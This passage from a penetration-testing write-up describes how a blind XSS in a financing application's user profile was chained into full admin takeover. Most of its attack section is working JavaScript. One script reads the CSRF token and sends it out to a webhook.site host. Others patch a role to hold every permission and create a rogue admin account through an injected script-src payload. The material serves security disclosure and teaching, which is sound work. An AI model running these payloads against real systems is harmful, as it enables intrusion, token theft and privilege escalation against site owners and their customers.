      <td>Update and save changes to the user’s profile information.</td>
    </tr>
  </tbody>
</table>

<p>For the <code class="language-plaintext highlighter-rouge">admins</code>, they have full access to the application, including control over all users and customers. Unlike <code class="language-plaintext highlighter-rouge">customers</code>, <code class="language-plaintext highlighter-rouge">users</code> can be created by the <code class="language-plaintext highlighter-rouge">admin</code> and assigned specific roles, which limit the privileges of each user. Each role comes with its own set of permissions, and there are over <code class="language-plaintext highlighter-rouge">70</code> different permissions available in the application. The features available to <code class="language-plaintext highlighter-rouge">admins</code> include the following:</p>

<table>
  <thead>
    <tr>
      <th><strong>Feature Name</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Dashboard</strong></td>
      <td>Provides an overview of key metrics and data relevant to the admin’s tasks.</td>
    </tr>
    <tr>
      <td><strong>Roles</strong></td>
      <td>Manage and assign different roles and permissions to users within the system.</td>
    </tr>
    <tr>
      <td><strong>Users</strong></td>
      <td>View, manage, and edit user accounts and their information.</td>
    </tr>
    <tr>
      <td><strong>Customers</strong></td>
      <td>Manage customer profiles and information.</td>
    </tr>
    <tr>
      <td><strong>Applications</strong></td>
      <td>Review, approve, or reject applications submitted by customers.</td>
    </tr>
    <tr>
      <td><strong>Generic Keys</strong></td>
      <td>Manage generic keys used for system operations or integrations.</td>
    </tr>
    <tr>
      <td><strong>Generic Key Values</strong></td>
      <td>Assign and manage values associated with generic keys in the system.</td>
    </tr>
    <tr>
      <td><strong>Products</strong></td>
      <td>Manage the product offerings available in the system.</td>
    </tr>
    <tr>
      <td><strong>Sub Products</strong></td>
      <td>Handle subcategories or variations of main products.</td>
    </tr>
    <tr>
      <td><strong>Financing Companies</strong></td>
      <td>Manage information related to financing companies associated with the system.</td>
    </tr>
    <tr>
      <td><strong>Subscription Plans</strong></td>
      <td>Create, edit, and manage subscription plans available to users.</td>
    </tr>
    <tr>
      <td><strong>Schemes</strong></td>
      <td>Define and manage various schemes available within the system.</td>
    </tr>
    <tr>
      <td><strong>Workflow Heads</strong></td>
      <td>Oversee and manage the heads or leaders of different workflows.</td>
    </tr>
    <tr>
      <td><strong>Workflow</strong></td>
      <td>Define and manage the workflows for different processes within the system.</td>
    </tr>
    <tr>
      <td><strong>Eligibility</strong></td>
      <td>Set and manage criteria for eligibility related to products, services, or schemes.</td>
    </tr>
    <tr>
      <td><strong>Advertisements</strong></td>
      <td>Manage and configure advertisements displayed within the system.</td>
    </tr>
    <tr>
      <td><strong>Logs</strong></td>
      <td>View and analyze system logs for auditing and troubleshooting purposes.</td>
    </tr>
    <tr>
      <td><strong>Configurations</strong></td>
      <td>Manage system configurations and settings.</td>
    </tr>
  </tbody>
</table>

<p>The application included the following permissions:</p>

<table>
  <thead>
    <tr>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>role-list</td>
      <td>role-create</td>
      <td>role-edit</td>
      <td>role-delete</td>
    </tr>
    <tr>
      <td>user-list</td>
      <td>user-create</td>
      <td>user-edit</td>
      <td>user-delete</td>
    </tr>
    <tr>
      <td>generic-key-list</td>
      <td>generic-key-create</td>
      <td>generic-key-edit</td>
      <td>generic-key-delete</td>
    </tr>
    <tr>
      <td>generic-key-value-list</td>
      <td>generic-key-value-create</td>
      <td>generic-key-value-edit</td>
      <td>generic-key-value-delete</td>
    </tr>
    <tr>
      <td>configuration-list</td>
      <td>configuration-create</td>
      <td>configuration-edit</td>
      <td>configuration-delete</td>
    </tr>
    <tr>
      <td>product-list</td>
      <td>product-create</td>
      <td>product-edit</td>
      <td>product-delete</td>
    </tr>
    <tr>
      <td>sub-product-list</td>
      <td>sub-product-create</td>
      <td>sub-product-edit</td>
      <td>sub-product-delete</td>
    </tr>
    <tr>
      <td>subscription-plan-list</td>
      <td>subscription-plan-create</td>
      <td>subscription-plan-edit</td>
      <td>subscription-plan-delete</td>
    </tr>
    <tr>
      <td>financing-company-list</td>
      <td>financing-company-create</td>
      <td>financing-company-edit</td>
      <td>financing-company-delete</td>
    </tr>
    <tr>
      <td>sub-user-list</td>
      <td>sub-user-create</td>
      <td>sub-user-edit</td>
      <td>sub-user-delete</td>
    </tr>
    <tr>
      <td>log-list</td>
      <td>scheme-list</td>
      <td>scheme-create</td>
      <td>scheme-edit</td>
    </tr>
    <tr>
      <td>scheme-delete</td>
      <td>eligibility-rule-list</td>
      <td>eligibility-rule-create</td>
      <td>eligibility-rule-edit</td>
    </tr>
    <tr>
      <td>eligibility-rule-delete</td>
      <td>advertisement-list</td>
      <td>advertisement-create</td>
      <td>advertisement-edit</td>
    </tr>
    <tr>
      <td>advertisement-delete</td>
      <td>application-list</td>
      <td>workflow-list</td>
      <td>workflow-create</td>
    </tr>
    <tr>
      <td>workflow-edit</td>
      <td>workflow-delete</td>
      <td>interface-mapping-list</td>
      <td>interface-mapping-create</td>
    </tr>
    <tr>
      <td>interface-mapping-edit</td>
      <td>interface-mapping-delete</td>
      <td>workflow-head-list</td>
      <td>workflow-head-create</td>
    </tr>
    <tr>
      <td>workflow-head-edit</td>
      <td>workflow-head-delete</td>
      <td>eligibility-criteria-list</td>
      <td>eligibility-criteria-create</td>
    </tr>
    <tr>
      <td>eligibility-criteria-edit</td>
      <td>eligibility-criteria-delete</td>
      <td>third-party-api-list</td>
      <td>third-party-api-create</td>
    </tr>
    <tr>
      <td>third-party-api-edit</td>
      <td>third-party-api-delete</td>
      <td>page-list</td>
      <td>page-create</td>
    </tr>
    <tr>
      <td>page-edit</td>
      <td>page-delete</td>
      <td>flag-list</td>
      <td>lead-list</td>
    </tr>
    <tr>
      <td>checker</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h2 id="features-summary-diagram">Features Summary Diagram</h2>

<ul>
  <li>Admins:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/3b9dea1f-00cf-49d5-82bb-4dfa41930426" alt="image" /></p>

<ul>
  <li>Customers</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/c73b06f8-9859-47cb-8b36-caf66945d7f1" alt="image" /></p>

<h1 id="the-story">The Story</h1>

<h2 id="xss-vulnerability">XSS Vulnerability</h2>

<p>On the mobile application side, when a user changes their <code class="language-plaintext highlighter-rouge">username</code> to the following:</p>

<p><img src="https://github.com/user-attachments/assets/43a36959-5830-4b76-9147-170cdd2c79c6" alt="image" /></p>

<p>The request looks like this:</p>

<p><img src="https://github.com/user-attachments/assets/e9f4ff52-258f-4aaa-b387-cd732fae4480" alt="image" /></p>

<p>Our malicious input, which includes a JavaScript alert, is sent in the request without any filtration on the mobile app side. When this request reaches the <code class="language-plaintext highlighter-rouge">admin</code> dashboard, it displays as follows:</p>

<p><img src="https://github.com/user-attachments/assets/28798802-9b02-486b-95d7-6f80fce70783" alt="image" /></p>

<p>This indicates that we have a blind <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability. The next logical step would be to steal the admin’s cookies and gain access to their account. However, the challenge here is that the cookies are marked as <code class="language-plaintext highlighter-rouge">HttpOnly</code>. The <code class="language-plaintext highlighter-rouge">HttpOnly</code> attribute is specifically designed to mitigate certain forms of <code class="language-plaintext highlighter-rouge">XSS</code> attacks by preventing cookies from being accessed through client-side scripts, as illustrated below:</p>

<p><img src="https://github.com/user-attachments/assets/71074ab9-46cd-49cb-9b90-b56f61752532" alt="image" /></p>

<h2 id="find-another-way">Find Another way</h2>

<p>At that point, I decided to set aside the <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability and began searching for other potential vulnerabilities that might allow me to access the <code class="language-plaintext highlighter-rouge">admin</code> account or perform administrative actions. That’s when I considered the possibility of a <code class="language-plaintext highlighter-rouge">CSRF</code> (Cross-Site Request Forgery) vulnerability, especially since the <code class="language-plaintext highlighter-rouge">admin</code> has the ability to add new <code class="language-plaintext highlighter-rouge">users</code>, which could include another <code class="language-plaintext highlighter-rouge">admin</code>. When adding a new user, the process looked like this:</p>

<p><img src="https://github.com/user-attachments/assets/05286717-52a8-4938-b836-3d3563d3aeb2" alt="image" /></p>

<p>The fields shown in the screenshot are the required inputs to add a new <code class="language-plaintext highlighter-rouge">user</code>. After intercepting the request in <code class="language-plaintext highlighter-rouge">BurpSuite</code>, the request appeared as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /app/public/admin/users HTTP/1.1 
Host: application.com
User-Agent: UserAgent
Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5 
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded 
Content-Length: 156
Origin: http://application.com 
Connection: close
Referer: http://application.com/app/public/admin/users/create 
Cookie: XSRF-TOKEN=eyJp............; session=eyJ......In0&amp;3D

_token=rR8Hp7ewaT8FenxSzfAfqhN9ue5LiFgi13HS76SS&amp;name=Pentester&amp;email=pentest%40pentest.co&amp;password=Pentest123456%23&amp;confirm-password=Pentest123456%23&amp;role=2
</code></pre></div></div>

<p>Here, I found both good and bad news. The good news was that the admin dashboard wasn’t using a <code class="language-plaintext highlighter-rouge">JSON Web Token</code> like the mobile app, making it potentially vulnerable to <code class="language-plaintext highlighter-rouge">CSRF</code> attacks. The bad news was the presence of a <code class="language-plaintext highlighter-rouge">CSRF</code> token in the <code class="language-plaintext highlighter-rouge">_token</code> parameter, which verifies the request’s authenticity. I attempted several common methods to bypass the <code class="language-plaintext highlighter-rouge">CSRF</code> token, such as using a random token of the same length, setting the value to <code class="language-plaintext highlighter-rouge">NULL</code> or empty, or removing the entire parameter and value. Unfortunately, none of these attempts were successful.</p>

<p>After further investigation, I discovered that the <code class="language-plaintext highlighter-rouge">CSRF</code> token is retrieved from a <code class="language-plaintext highlighter-rouge">meta</code> tag in the response page, as shown below:</p>

<p><img src="https://github.com/user-attachments/assets/4f22dda6-0494-42ba-b7ef-93d9aa3bf83f" alt="image" /></p>

<p>This discovery led me back to the <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability. Although I couldn’t steal cookies due to the <code class="language-plaintext highlighter-rouge">HttpOnly</code> attribute, I realized I could still load JavaScript by exploiting the <code class="language-plaintext highlighter-rouge">src</code> attribute within the <code class="language-plaintext highlighter-rouge">script</code> tag. By doing so, I could inject a JavaScript code snippet to retrieve the <code class="language-plaintext highlighter-rouge">meta</code> tag with <code class="language-plaintext highlighter-rouge">name="csrf-token"</code> and extract its <code class="language-plaintext highlighter-rouge">content</code> attribute value, which contains the <code class="language-plaintext highlighter-rouge">CSRF</code> token.</p>

<h2 id="give-me-the-token">Give me the Token</h2>

<p>To retrieve the <code class="language-plaintext highlighter-rouge">CSRF</code> token, I used the following code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">csrfToken</span><span class="p">);</span>
</code></pre></div></div>

<p>Here’s how it works: First, I used the <code class="language-plaintext highlighter-rouge">document.querySelector</code> method to find a <code class="language-plaintext highlighter-rouge">meta</code> tag with the attribute <code class="language-plaintext highlighter-rouge">name="csrf-token"</code>. The selector <code class="language-plaintext highlighter-rouge">'meta[name="csrf-token"]'</code> specifically targets this tag within the document. Once the meta tag is located, the <code class="language-plaintext highlighter-rouge">getAttribute</code> method is called to extract the value of its <code class="language-plaintext highlighter-rouge">content</code> attribute, which contains the actual <code class="language-plaintext highlighter-rouge">CSRF</code> token. This value is then stored in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable. Finally, the <code class="language-plaintext highlighter-rouge">alert</code> function is used to display the value of <code class="language-plaintext highlighter-rouge">csrfToken</code>.</p>

<p><img src="https://github.com/user-attachments/assets/76fee310-a845-4822-a506-61ff330c1de6" alt="image" /></p>

<p>Seeing that the approach was successful, I proceeded to steal the <code class="language-plaintext highlighter-rouge">CSRF</code> token and send it to my server using <code class="language-plaintext highlighter-rouge">webhook.site</code>. Here’s the updated code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://webhook.site/hereShouldHaveYourID/</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">url</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">?token=</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">csrfToken</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Image</span><span class="p">();</span>
<span class="nx">i</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">url</span><span class="p">;</span>
</code></pre></div></div>

<p>After retrieving the <code class="language-plaintext highlighter-rouge">CSRF</code> token and storing it in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable, I set up the base URL for my webhook site. The <code class="language-plaintext highlighter-rouge">CSRF</code> token is then appended as a query parameter to the URL using <code class="language-plaintext highlighter-rouge">encodeURIComponent</code> to ensure it’s safely included. Finally, the script creates an image object and sets its <code class="language-plaintext highlighter-rouge">src</code> to the constructed URL, triggering a <code class="language-plaintext highlighter-rouge">GET</code> request that sends the <code class="language-plaintext highlighter-rouge">CSRF</code> token to my server.</p>

<p><img src="https://github.com/user-attachments/assets/2843ab7b-3cde-4667-8294-f0415a2aea31" alt="image" /></p>

<p>As shown, I successfully stole the <code class="language-plaintext highlighter-rouge">CSRF</code> token using this method.</p>

<p><img src="https://github.com/user-attachments/assets/7973d9bc-c0c2-473d-9cdb-09a0e1da8b49" alt="image" /></p>

<h2 id="add-new-user">Add New User</h2>

<p>After successfully stealing the <code class="language-plaintext highlighter-rouge">CSRF</code> token, I considered whether it was worth pursuing the traditional <code class="language-plaintext highlighter-rouge">CSRF</code> attack route—injecting the stolen token into a request and sending a <code class="language-plaintext highlighter-rouge">CSRF</code> payload to the <code class="language-plaintext highlighter-rouge">admin</code>, hoping they would click on it. But why stop there when we can be more creative? Since we can retrieve the <code class="language-plaintext highlighter-rouge">CSRF</code> token and inject JavaScript into the <code class="language-plaintext highlighter-rouge">admin</code>’s browser, we can take a more direct approach by executing a request directly through the <code class="language-plaintext highlighter-rouge">admin</code>’s browser using JavaScript.</p>

<p>Here’s how I updated the code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">();</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">_token</span><span class="dl">'</span><span class="p">,</span> <span class="nx">csrfToken</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">name</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentester</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">email</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">pentest@pentest.co</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">password</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentest123456#</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">confirm-password</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentest123456#</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">role</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">2</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://application.com/app/public/admin/users</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">data</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=&gt;</span> <span class="nx">response</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Success:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">})</span>
<span class="p">.</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>In this script, after retrieving the <code class="language-plaintext highlighter-rouge">CSRF</code> token and storing it in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable, I created a <code class="language-plaintext highlighter-rouge">URLSearchParams</code> object to encode and organize the data that will be sent in the request. I appended several key-value pairs, including the CSRF token (<code class="language-plaintext highlighter-rouge">_token</code>), a name (<code class="language-plaintext highlighter-rouge">Pentester</code>), an email (<code class="language-plaintext highlighter-rouge">pentest@pentest.co</code>), a password (<code class="language-plaintext highlighter-rouge">Pentest123456#</code>), and a role ID (<code class="language-plaintext highlighter-rouge">2</code>), which is unknown in terms of permissions. I then used the <code class="language-plaintext highlighter-rouge">fetch</code> API to send a POST request to <code class="language-plaintext highlighter-rouge">http://application.com/app/public/admin/users</code>, aiming to add a new user. The results were logged in the console.</p>

<p>To test the payload, I hosted it locally and updated the username to include the following malicious script: <code class="language-plaintext highlighter-rouge">'"&gt;&lt;script src="http://localhost/exploit.js"&gt;&lt;/script&gt;</code>. When the <code class="language-plaintext highlighter-rouge">admin</code> loaded the page containing this script, the code executed successfully, logging the message in the console and confirming that the new <code class="language-plaintext highlighter-rouge">admin</code> user was added.</p>

<p><img src="https://github.com/user-attachments/assets/827b31f6-79f4-4ae4-b5b8-e547a4592555" alt="image" /></p>

<p>However, there’s a potential limitation: if the role ID I used in the request doesn’t have sufficient permissions, the new <code class="language-plaintext highlighter-rouge">admin</code> user may not be able to perform significant actions. This is an issue that needs addressing to ensure the exploit’s effectiveness.</p>

<h2 id="patch-the-role">Patch The Role</h2>

<p>When we explore all the roles available in the application:</p>

<p><img src="https://github.com/user-attachments/assets/b50539cd-0af2-4d44-8a59-36515344e033" alt="image" /></p>

<p>We have the option to edit any of these roles. Let’s select a <code class="language-plaintext highlighter-rouge">role</code> to edit:</p>

<p><img src="https://github.com/user-attachments/assets/4f084f3d-8140-4fdf-9ce0-665ee669c070" alt="image" /></p>

<p>From this screen, we can see that editing a role is done through the endpoint <code class="language-plaintext highlighter-rouge">/app/public/admin/roles/{id}/edit</code>, where <code class="language-plaintext highlighter-rouge">{id}</code> corresponds to the specific role ID. In this interface, we can choose the permissions we want to assign to the role. To better understand how this works, let’s intercept and analyze the request using <code class="language-plaintext highlighter-rouge">BurpSuite</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /app/public/admin/roles/{roleNumber} HTTP/1.1
Host: application.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [calculated-length]

_method=PATCH&amp;_token=[csrfToken]&amp;name=PoC4Exploit&amp;status=on&amp;permission[]=1&amp;permission[]=2&amp;permission[]=3&amp;permission[]=4&amp;permission[]=11&amp;permission[]=12&amp;permission[]=13&amp;permission[]=14&amp;permission[]=15&amp;permission[]=16&amp;permission[]=17&amp;permission[]=18&amp;permission[]=19&amp;permission[]=20&amp;permission[]=21&amp;permission[]=22&amp;permission[]=23&amp;permission[]=24&amp;permission[]=25&amp;permission[]=26&amp;permission[]=27&amp;permission[]=28&amp;permission[]=29&amp;permission[]=30&amp;permission[]=31&amp;permission[]=32&amp;permission[]=33&amp;permission[]=34&amp;permission[]=35&amp;permission[]=36&amp;permission[]=37&amp;permission[]=38&amp;permission[]=39&amp;permission[]=40&amp;permission[]=41&amp;permission[]=42&amp;permission[]=43&amp;permission[]=44&amp;permission[]=45&amp;permission[]=46&amp;permission[]=47&amp;permission[]=48&amp;permission[]=49&amp;permission[]=50&amp;permission[]=51&amp;permission[]=52&amp;permission[]=53&amp;permission[]=54&amp;permission[]=55&amp;permission[]=56&amp;permission[]=57&amp;permission[]=58&amp;permission[]=59&amp;permission[]=60&amp;permission[]=61&amp;permission[]=65&amp;permission[]=66&amp;permission[]=67&amp;permission[]=68&amp;permission[]=69&amp;permission[]=70&amp;permission[]=71&amp;permission[]=72&amp;permission[]=73&amp;permission[]=74&amp;permission[]=75&amp;permission[]=76&amp;permission[]=77&amp;permission[]=78&amp;permission[]=79&amp;permission[]=80&amp;permission[]=81&amp;permission[]=82&amp;permission[]=83&amp;permission[]=84&amp;permission[]=85&amp;permission[]=86&amp;permission[]=87&amp;permission[]=88&amp;permission[]=89&amp;permission[]=90&amp;permission[]=91
</code></pre></div></div>

<p>Here’s how the request appears when editing a <code class="language-plaintext highlighter-rouge">role</code> and activating all its permissions. Before adding the malicious <code class="language-plaintext highlighter-rouge">user</code>, we can strategically edit the <code class="language-plaintext highlighter-rouge">role</code> to ensure it has all permissions enabled. After modifying the role, we can then add the user with the modified <code class="language-plaintext highlighter-rouge">role</code> ID, granting the new user full access within the application.</p>

<h1 id="chaining-all-together">Chaining All Together</h1>

<p>Now, we still need to verify whether the <code class="language-plaintext highlighter-rouge">role</code> ID exists before attempting to edit it. When we send a request to the <code class="language-plaintext highlighter-rouge">/app/public/admin/roles/{id}/edit</code> endpoint, if the <code class="language-plaintext highlighter-rouge">role</code> ID does not exist, the application responds with a <code class="language-plaintext highlighter-rouge">500</code> status code. If the response is anything other than <code class="language-plaintext highlighter-rouge">500</code>, it indicates that the <code class="language-plaintext highlighter-rouge">role</code> ID exists. The following diagram explains how we will chain all these steps together to update our code:</p>

<p><img src="https://github.com/user-attachments/assets/c1a753f3-57b4-4360-873e-423e44324144" alt="image" /></p>

<p>Let’s Update our code:</p>

<pre><code class="language-JS">let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');



function patchRole(roleNumber) {
    let data = new URLSearchParams();
    data.append('_method', 'PATCH');
    data.append('_token', csrfToken);
    data.append('name', 'PoC4Exploit');
    data.append('status', 'on');
    data.append('permission[]', '1');
    data.append('permission[]', '2');
    data.append('permission[]', '3');
    data.append('permission[]', '4');
    data.append('permission[]', '11');
    data.append('permission[]', '12');
    data.append('permission[]', '13');
    data.append('permission[]', '14');
    data.append('permission[]', '15');
    data.append('permission[]', '16');
    data.append('permission[]', '17');
    data.append('permission[]', '18');
    data.append('permission[]', '19');
    data.append('permission[]', '20');
    data.append('permission[]', '21');
    data.append('permission[]', '22');
    data.append('permission[]', '23');
    data.append('permission[]', '24');
    data.append('permission[]', '25');
    data.append('permission[]', '26');
    data.append('permission[]', '27');
    data.append('permission[]', '28');
    data.append('permission[]', '29');
    data.append('permission[]', '30');
    data.append('permission[]', '31');
    data.append('permission[]', '32');
    data.append('permission[]', '33');
    data.append('permission[]', '34');
    data.append('permission[]', '35');
    data.append('permission[]', '36');
    data.append('permission[]', '37');
    data.append('permission[]', '38');
    data.append('permission[]', '39');
    data.append('permission[]', '40');
    data.append('permission[]', '41');
    data.append('permission[]', '42');
    data.append('permission[]', '43');
    data.append('permission[]', '44');
    data.append('permission[]', '45');
    data.append('permission[]', '46');
    data.append('permission[]', '47');
    data.append('permission[]', '48');
    data.append('permission[]', '49');
    data.append('permission[]', '50');
    data.append('permission[]', '51');
    data.append('permission[]', '52');
    data.append('permission[]', '53');
    data.append('permission[]', '54');
    data.append('permission[]', '55');
    data.append('permission[]', '56');
    data.append('permission[]', '57');
    data.append('permission[]', '58');
    data.append('permission[]', '59');
    data.append('permission[]', '60');
    data.append('permission[]', '61');
    data.append('permission[]', '65');
    data.append('permission[]', '66');
    data.append('permission[]', '67');
    data.append('permission[]', '68');
    data.append('permission[]', '69');
    data.append('permission[]', '70');
    data.append('permission[]', '71');
    data.append('permission[]', '72');
    data.append('permission[]', '73');
    data.append('permission[]', '74');
    data.append('permission[]', '75');
    data.append('permission[]', '76');
    data.append('permission[]', '77');
    data.append('permission[]', '78');
    data.append('permission[]', '79');
    data.append('permission[]', '80');
    data.append('permission[]', '81');
    data.append('permission[]', '82');
    data.append('permission[]', '83');
    data.append('permission[]', '84');
    data.append('permission[]', '85');
    data.append('permission[]', '86');
    data.append('permission[]', '87');
    data.append('permission[]', '88');
    data.append('permission[]', '89');
    data.append('permission[]', '90');
    data.append('permission[]', '91');
    console.log(`Patching Role ${roleNumber}`);
    return fetch(`http://application.com/app/public/admin/roles/${roleNumber}`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function postData(roleNumber) {
    let data = new URLSearchParams();
    data.append('_token', csrfToken);
    data.append('name', 'CustomerTakeover');
    data.append('email', 'CustomerTakeover@pentest.co');
    data.append('password', 'CustomerTakeover123456#');
    data.append('confirm-password', 'CustomerTakeover123456#');
    data.append('role', roleNumber.toString());

    return fetch('http://application.com/app/public/admin/users', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function findRole(i, max) {
    if (i &gt; max) {
        console.error("Role not found up to number:", max);
        return;
    }

    fetch(`http://application.com/app/public/admin/roles/${i}/edit`)
        .then(response =&gt; {
            if (response.status !== 500) {
                console.log(`Role number found: ${i}`);
                return patchRole(i)
                    .then(() =&gt; postData(i))
                    .then(response =&gt; response.text())
                    .then(data =&gt; {
                        console.log('User Creation Success:', data);
                    });
            } else {
                console.log(`Role ${i} responded with 500. Trying next role.`);
                findRole(i + 1, max);
            }
        })
        .catch(error =&gt; {
            console.error('Error:', error);
        });
}



findRole(1, 10);
</code></pre>

<p>Here I grab the <code class="language-plaintext highlighter-rouge">CSRF</code> token from the <code class="language-plaintext highlighter-rouge">meta</code> tag, which I store in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable. Then define the <code class="language-plaintext highlighter-rouge">findRole</code> function, where I iterate through potential <code class="language-plaintext highlighter-rouge">role</code> numbers. I start by sending <code class="language-plaintext highlighter-rouge">GET</code> requests to the <code class="language-plaintext highlighter-rouge">role</code> edit endpoint, beginning with role number <code class="language-plaintext highlighter-rouge">1</code> and incrementing up to <code class="language-plaintext highlighter-rouge">10</code>. The function checks if each <code class="language-plaintext highlighter-rouge">role</code> exists by evaluating the server’s response: if the response status is anything other than <code class="language-plaintext highlighter-rouge">500</code>, it indicates that the <code class="language-plaintext highlighter-rouge">role</code> is a valid <code class="language-plaintext highlighter-rouge">role</code>. then, the function triggers  <code class="language-plaintext highlighter-rouge">patchRole</code> to escalate permissions by modifying the identified <code class="language-plaintext highlighter-rouge">role</code>.  Once the role has been successfully patched, It will add our new user <code class="language-plaintext highlighter-rouge">admin</code>.</p>

<h3 id="testing-the-exploit">Testing the exploit</h3>

<ul>
  <li>Finding &amp; Patching <code class="language-plaintext highlighter-rouge">role</code></li>
</ul>

<p><img src="https://github.com/user-attachments/assets/531d1091-da22-4255-b848-729eea0c40a6" alt="image" /></p>

<ul>
  <li>Add the new <code class="language-plaintext highlighter-rouge">admin</code> user</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/c19d5b23-10d5-435a-b0c3-a021975973b3" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/daf8c95b-8580-4a6c-8e6a-926867c2e6d4" alt="image" /></p>

<p>Now, I can control all the application including everyting related to the busniess and the system.</p>

<h1 id="conclusion">Conclusion</h1>

